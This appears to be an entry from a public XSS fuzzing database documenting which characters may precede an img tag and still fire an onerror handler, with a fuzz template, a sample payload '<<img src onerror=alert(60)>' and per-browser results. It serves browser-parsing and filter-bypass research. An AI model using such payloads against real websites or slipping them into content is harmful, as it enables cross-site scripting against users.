chars before img tags
This XSS vector shows what characters can be used before the onerror event.
Created by: t0xodile
Created on: Saturday, October 25, 2025 at 4:50:17 PM
Updated on: Saturday, October 25, 2025 at 4:50:17 PM
Category: HTML Parsing
Vector visibility: Public
Vector type: XSS
Vector charset: UTF-8
Template used:
<$[chr]img src onerror=log($[i])>
Your browser was detected as:
Detecting... Detecting... Detecting... Detecting...
Sample payloads
<<img src onerror=alert(60)>
Fuzz results
Chrome 141.0.0.0 desktop macOS 10.15.7
Updated
Tue Oct 28 2025
Found 1 result
Loading...
Firefox 135.0 desktop Linux Unknown
Updated
Tue Oct 28 2025
Found 1 result
Loading...
Chrome 141.0.0.0 desktop Linux Unknown
Updated
Mon Nov 03 2025
Found 1 result
Loading...
